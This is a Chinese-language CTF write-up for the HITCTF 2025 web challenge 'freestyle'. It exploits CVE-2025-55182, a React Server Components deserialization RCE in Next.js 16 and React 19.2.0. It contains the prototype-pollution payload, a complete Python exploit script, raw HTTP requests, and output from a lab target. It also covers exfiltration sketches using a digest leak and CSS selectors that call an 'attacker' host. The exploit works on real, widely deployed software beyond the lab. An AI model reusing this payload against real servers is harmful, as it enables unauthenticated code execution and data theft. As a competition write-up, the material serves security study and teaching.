题目文件已放到GitHub:
https://github.com/LunaticQuasimodo/HITCTF-2025-Personal-base/tree/main/web/freestyle
通过分析题目附件 attachment/package.json:
{ "dependencies": { "next": "16.0.6", "react": "19.2.0", "react-dom": "19.2.0", "puppeteer": "24.6.0" } }
- Next.js 16.0.6 - 存在 CVE-2025-55182 漏洞
- React 19.2.0 - 存在 React Server Components RCE 漏洞
- Puppeteer - 用于Bot访问内部页面
declare global { var CTF_CHALLENGE_TOKEN: string | undefined; var CTF_CHALLENGE_LOCKED: boolean | undefined; } export function generateToken(): string { const token = Math.floor(Math.random() * 100).toString().padStart(2, '0'); globalThis.CTF_CHALLENGE_TOKEN = token; globalThis.CTF_CHALLENGE_LOCKED = false; return token; } export function validateToken(inputToken: string): boolean { if (globalThis.CTF_CHALLENGE_LOCKED) { return false; // 已锁定,直接失败 } const currentToken = getToken(); if (inputToken === currentToken) { return true; } // 验证失败后锁定 globalThis.CTF_CHALLENGE_LOCKED = true; return false; }
关键点:
- Token是00-99的随机两位数
- 存储在
globalThis.CTF_CHALLENGE_TOKEN - 只允许猜一次,失败后
CTF_CHALLENGE_LOCKED = true
export async function GET(request: NextRequest) { const token = searchParams.get("token"); if (validateToken(token)) { return NextResponse.json({ flag: "flag{redacted_flag}", }); } else { return NextResponse.json({ error: "Invalid token" }, { status: 403 }); } }
location / { proxy_pass http://127.0.0.1:3000; proxy_set_header X-Public-Access "true"; # 公网访问标记 }
关键点:
- 公网访问会被Nginx添加
X-Public-Access: true头 - 首页会根据这个头决定是否显示真实token
const isPublicAccess = headersList.get("X-Public-Access") === "true"; const displayToken = isPublicAccess ? "<REDACTED>" : token;
这是React Server Components (RSC) "Flight"协议中的反序列化漏洞,允许未认证攻击者在服务器端执行任意JavaScript代码。
影响版本:
- React 19.0.0 - 19.2.0
- Next.js 15.x - 16.x(使用RSC的版本)
漏洞原理:
- Next.js Server Actions使用Flight协议处理请求
- 请求格式:
POST /+Next-Action: x头 +multipart/form-databody - Body中的JSON chunk会被反序列化
- 通过原型链污染 (
$1:__proto__:then) 可以控制chunk的then方法 - 当chunk被
await时,会触发我们控制的代码执行
Payload结构:
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B0\"}", "_response": { "_prefix": "恶意JavaScript代码", "_formData": { "get": "$1:constructor:constructor" } } }
其实这个题我最开始的思路是通过webhook外带,尝试执行RCE之后,让远端服务器把flag发到其他地方接受信息,有下面两种方式
- RCE + Webhook外带 用curl/wget外带token
- Bot + CSS外带 | CSS选择器泄露token
尝试了一下:

还有POST也尝试一下:

但是还是太难搞了,放弃。
有RCE,为什么要去读token?直接修改它!
执行的JavaScript代码:
globalThis.CTF_CHALLENGE_TOKEN = '42'; // 设置为我们知道的值 globalThis.CTF_CHALLENGE_LOCKED = false; // 清除锁定状态
攻击流程:
1. 发送RCE payload修改内存
POST / (Next-Action: x, multipart/form-data)
→ 服务器执行JS,修改全局变量
2. 正常请求flag
GET /api/flag?token=42
→ 返回flag
#!/usr/bin/env python3 """ CVE-2025-55182 Exploit for HITCTF "freestyle" 利用React Server Components RCE漏洞修改服务器内存中的token """ import sys import json import requests def build_payload_json(token: str) -> str: """构建Flight chunk payload""" prefix_js = ( f"globalThis.CTF_CHALLENGE_TOKEN='{token}';" f"globalThis.CTF_CHALLENGE_LOCKED=false;" ) obj = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B0\"}", "_response": { "_prefix": prefix_js, "_formData": { "get": "$1:constructor:constructor" }, }, } return json.dumps(obj, separators=(",", ":")) def build_multipart_body(token: str): """构建multipart/form-data请求体""" boundary = "----React2ShellBoundaryCTF" boundary_line = f"--{boundary}" json_chunk = build_payload_json(token) lines = [ boundary_line, 'Content-Disposition: form-data; name="0"', "", json_chunk, boundary_line, 'Content-Disposition: form-data; name="1"', "", '"$@0"', f"{boundary_line}--", "", ] body = "\r\n".join(lines) return boundary, body def run_exploit(base_url: str, token: str): """执行exploit""" root_url = base_url.rstrip("/") + "/" boundary, body = build_multipart_body(token) headers = { "Next-Action": "x", "Content-Type": f"multipart/form-data; boundary={boundary}", } print(f"[+] Target: {base_url}") print(f"[+] Setting token to: {token}") # 禁用代理 session = requests.Session() session.trust_env = False proxies = {"http": None, "https": None} # 1. 发送RCE payload try: resp = session.post(root_url, data=body.encode(), headers=headers, timeout=15, proxies=proxies) print(f"[+] RCE request status: {resp.status_code}") except requests.exceptions.Timeout: print("[!] RCE request timed out - this may still have worked!") except Exception as e: print(f"[!] Error: {e}") # 2. 获取flag flag_url = base_url.rstrip("/") + f"/api/flag?token={token}" print(f"[+] Requesting flag from: {flag_url}") try: flag_resp = session.get(flag_url, timeout=15, proxies=proxies) print(f"[+] /api/flag status: {flag_resp.status_code}") print("[+] Response:") print(flag_resp.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 exploit.py <target_url> [token]") print("Example: python3 exploit.py http://target.com 42") sys.exit(1) target = sys.argv[1] token = sys.argv[2] if len(sys.argv) > 2 else "42" if len(token) == 1: token = "0" + token run_exploit(target, token)
RCE请求:
POST / HTTP/1.1 Host: target.com Next-Action: x Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF ------React2ShellBoundaryCTF Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}} ------React2ShellBoundaryCTF Content-Disposition: form-data; name="1" "$@0" ------React2ShellBoundaryCTF--
获取Flag请求:
GET /api/flag?token=42 HTTP/1.1 Host: target.com
python3 exploit.py http://6c4f450c5343.target.yijinglab.com 42
[+] Target: http://6c4f450c5343.target.yijinglab.com
[+] Setting token to: 42
[!] RCE request timed out - this may still have worked!
[+] Requesting flag from: http://6c4f450c5343.target.yijinglab.com/api/flag?token=42
[+] /api/flag status: 200
[+] Response:
{"flag":"flag{X55_by_the_n3w_CSS_1f_functi0n}"}
利用Next.js的错误处理机制,在响应中外带数据:
var res = globalThis.CTF_CHALLENGE_TOKEN; throw Object.assign(new Error('NEXT_REDIRECT'), { digest: res });
响应中会包含 "digest":"XX" 形式的token。
利用CSS属性选择器和Bot访问内部页面:
/* 泄露token第一位 */ div[data-token^="0"] { background-image: url("https://attacker/first=0"); } div[data-token^="1"] { background-image: url("https://attacker/first=1"); } ...
通过 /api/bot?bg-image=url(https://attacker/card.css) 触发Bot加载恶意CSS。
flag{X55_by_the_n3w_CSS_1f_functi0n}

![[HITCTF2025] Web - Freestyle Writeup](https://lunaticquasimodo.top/uploads/Weixin_Image_20251127215810_517_1118_67748b60e8.png)